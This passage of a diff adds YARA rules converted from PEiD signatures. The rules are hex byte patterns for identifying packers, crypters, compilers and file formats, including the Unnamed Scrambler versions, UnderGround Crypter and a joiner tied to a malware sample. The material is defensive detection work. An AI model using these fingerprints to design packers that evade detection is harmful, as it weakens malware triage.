+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 00 68 34 45 40 00 50 E8 15 02 00 00 6A 00 FF 35 30 45 40 00 50 6A 02 E8 4D 02 00 00 A3 74 45 40 00 6A 00 68 D4 10 40 00 6A 00 6A 01 FF 35 70 45 40 00 E8 02 02 00 00 B3 0A FE CB 74 10 FF 35 74 45 40 00 E8 27 02 00 00 83 F8 00 74 EC B3 0A FE CB 74 10 FF 35 30 45 40 00 E8 B7 01 00 00 83 F8 00 74 EC B3 0A FE CB 74 16 68 25 45 40 00 E8 96 01 00 00 83 F8 00 74 ED 6A 00 E8 90 01 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C7 00 00 00 6A 01 FF 35 70 45 40 00 E8 B0 01 00 00 50 6A 01 68 80 00 00 00 FF}
+    condition:
+        $a
+}
+rule PEiD_02285_Trilobyte_s_JPEG_graphics_Library_
+{
+    meta:
+        description = "[Trilobyte's JPEG graphics Library]"
+        ep_only = "false"
+    strings:
+        $a = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02286_Trivial173_by_SMT_SMF_
+{
+    meta:
+        description = "[Trivial173 by SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+    condition:
+        $a
+}
+
+rule PEiD_02287_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4C 54 53 48}
+    condition:
+        $a
+}
+
+rule PEiD_02288_TrueType_Font_file_
+{
+    meta:
+        description = "[TrueType Font file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4F 53 2F 32}
+    condition:
+        $a
+}
+
+rule PEiD_02289_TTPpack_
+{
+    meta:
+        description = "[TTPpack]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+    condition:
+        $a
+}
+
+rule PEiD_02290_Turbo_C_1987_or_Borland_C___1991_
+{
+    meta:
+        description = "[Turbo C 1987 or Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_02291_Turbo_C_1987_
+{
+    meta:
+        description = "[Turbo C 1987]"
+        ep_only = "true"
+    strings:
+        $a = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a
+}
+
+rule PEiD_02292_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+    condition:
+        $a
+}
+
+rule PEiD_02293_Turbo_C_1990_or_Turbo_C_1988_
+{
+    meta:
+        description = "[Turbo C 1990 or Turbo C 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+    condition:
+        $a
+}
+
+rule PEiD_02294_Turbo_C_or_Borland_C___
+{
+    meta:
+        description = "[Turbo C or Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+    condition:
+        $a
+}
+rule PEiD_02295_Turbo_C___3_0_1990_
+{
+    meta:
+        description = "[Turbo C++ 3.0 1990]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+    condition:
+        $a
+}
+
+rule PEiD_02296_Turbo_C_
+{
+    meta:
+        description = "[Turbo C]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02297_Turbo_or_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Turbo or Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+    condition:
+        $a
+}
+
+rule PEiD_02298_Turbo_Pascal_Configuration_File_
+{
+    meta:
+        description = "[Turbo Pascal Configuration File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E}
+    condition:
+        $a
+}
+rule PEiD_02299_Turbo_Pascal_Desktop_File_
+{
+    meta:
+        description = "[Turbo Pascal Desktop File]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 44 65 73 6B 74 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_02300_Turbo_Pascal_Help_File_
+{
+    meta:
+        description = "[Turbo Pascal Help File]"
+        ep_only = "false"
+    strings:
+        $a = {54 55 52 ?? ?? ?? 50 41 53 ?? ?? ?? ?? 48 45 4C 50}
+    condition:
+        $a
+}
+
+rule PEiD_02301_Turbo_Pascal_v2_0_1984_
+{
+    meta:
+        description = "[Turbo Pascal v2.0 1984]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+    condition:
+        $a
+}
+
+rule PEiD_02302_Turbo_Pascal_v3_0_1985_
+{
+    meta:
+        description = "[Turbo Pascal v3.0 1985]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+    condition:
+        $a
+}
+rule PEiD_02303_Turbo_Profiler_Areas_file_
+{
+    meta:
+        description = "[Turbo Profiler Areas file]"
+        ep_only = "false"
+    strings:
+        $a = {54 75 72 62 6F ?? 50 72 6F 66 69 6C 65 72 ?? 61 72 65 61 73 ?? 66 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_02304_TurboBAT_v3_10____5_0__Patched__
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0 (Patched)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_02305_TurboBAT_v3_10____5_0_
+{
+    meta:
+        description = "[TurboBAT v3.10 .. 5.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+    condition:
+        $a
+}
+rule PEiD_02306_TXT2COM__Read_A_Matic_v1_0__
+{
+    meta:
+        description = "[TXT2COM (Read-A-Matic v1.0)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_02307_TXT2COM_v2_06_
+{
+    meta:
+        description = "[TXT2COM v2.06]"
+        ep_only = "true"
+    strings:
+        $a = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+    condition:
+        $a
+}
+
+rule PEiD_02308_UCEXE_v2_3__v2_4_
+{
+    meta:
+        description = "[UCEXE v2.3, v2.4]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_02309_UG2002_Cruncher_v0_3b3_
+{
+    meta:
+        description = "[UG2002 Cruncher v0.3b3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+    condition:
+        $a
+}
+
+rule PEiD_02310_UltraPro_V1_0____SafeNet_
+{
+    meta:
+        description = "[UltraPro V1.0 -> SafeNet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02311_UnderGround_Crypter___by_Booster2000_
+{
+    meta:
+        description = "[UnderGround Crypter - by Booster2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+    condition:
+        $a
+}
+rule PEiD_02312_unknown____jac_
+{
+    meta:
+        description = "[unknown -> jac]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02313_Unknown_by_SMT_
+{
+    meta:
+        description = "[Unknown by SMT]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02314_Unknown_encryptor__1__
+{
+    meta:
+        description = "[Unknown encryptor (1)]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+    condition:
+        $a
+}
+
+rule PEiD_02315_Unknown_encryptor__2_____PK7Tjrvx__
+{
+    meta:
+        description = "[Unknown encryptor (2) - \"PK7Tjrvx\"]"
+        ep_only = "true"
+    strings:
+        $a = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+    condition:
+        $a
+}
+rule PEiD_02316_Unknown_Joiner__sign_from_pinch_26_03_2007_02_12__
+{
+    meta:
+        description = "[Unknown Joiner (sign from pinch 26.03.2007 02:12)]"
+        ep_only = "true"
+    strings:
+        $a = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+    condition:
+        $a
+}
+
+rule PEiD_02317_Unknown_packer__02__
+{
+    meta:
+        description = "[Unknown packer (02)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+    condition:
+        $a
+}
+
+rule PEiD_02318_Unknown_packer__03__
+{
+    meta:
+        description = "[Unknown packer (03)]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+    condition:
+        $a
+}
+
+rule PEiD_02319_Unknown_packer__04__
+{
+    meta:
+        description = "[Unknown packer (04)]"
+        ep_only = "true"
+    strings:
+        $a = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+    condition:
+        $a
+}
+rule PEiD_02320_Unknown_packer__05__
+{
+    meta:
+        description = "[Unknown packer (05)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+    condition:
+        $a
+}
+
+rule PEiD_02321_Unknown_packer__06__
+{
+    meta:
+        description = "[Unknown packer (06)]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+    condition:
+        $a
+}
+
+rule PEiD_02322_Unknown_packer__07__
+{
+    meta:
+        description = "[Unknown packer (07)]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+    condition:
+        $a
+}
+
+rule PEiD_02323_Unknown_packer__08__
+{
+    meta:
+        description = "[Unknown packer (08)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+    condition:
+        $a
+}
+
+rule PEiD_02324_Unknown_Packer____Northfox_
+{
+    meta:
+        description = "[Unknown Packer -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {54 59 68 61 7A 79}
+    condition:
+        $a
+}
+
+rule PEiD_02325_Unknown_Protected_Mode_compiler__1__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+    condition:
+        $a
+}
+
+rule PEiD_02326_Unknown_Protected_Mode_compiler__2__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (2)]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+    condition:
+        $a
+}
+rule PEiD_02327_Unknown_UPX_modifyer_
+{
+    meta:
+        description = "[Unknown UPX modifyer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 00 00 00 CD 03 5A 81 C2 ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+    condition:
+        $a
+}
+
+rule PEiD_02328_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02329_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+    condition:
+        $a
+}
+
+rule PEiD_02330_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10}
+    condition:
+        $a
+}
+rule PEiD_02331_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+    condition:
+        $a
+}
+
+rule PEiD_02332_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65}
+    condition:
+        $a
+}
+
+rule PEiD_02333_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02334_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10}
+    condition:
+        $a
+}
+
+rule PEiD_02335_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+    condition:
+        $a
+}
+
+rule PEiD_02336_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02337_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_02338_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74}
+    condition:
+        $a
+}
+
+rule PEiD_02339_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02340_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02341_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+    condition:
+        $a
+}
+
+rule PEiD_02342_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8}
+    condition:
+        $a
+}
+rule PEiD_02343_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
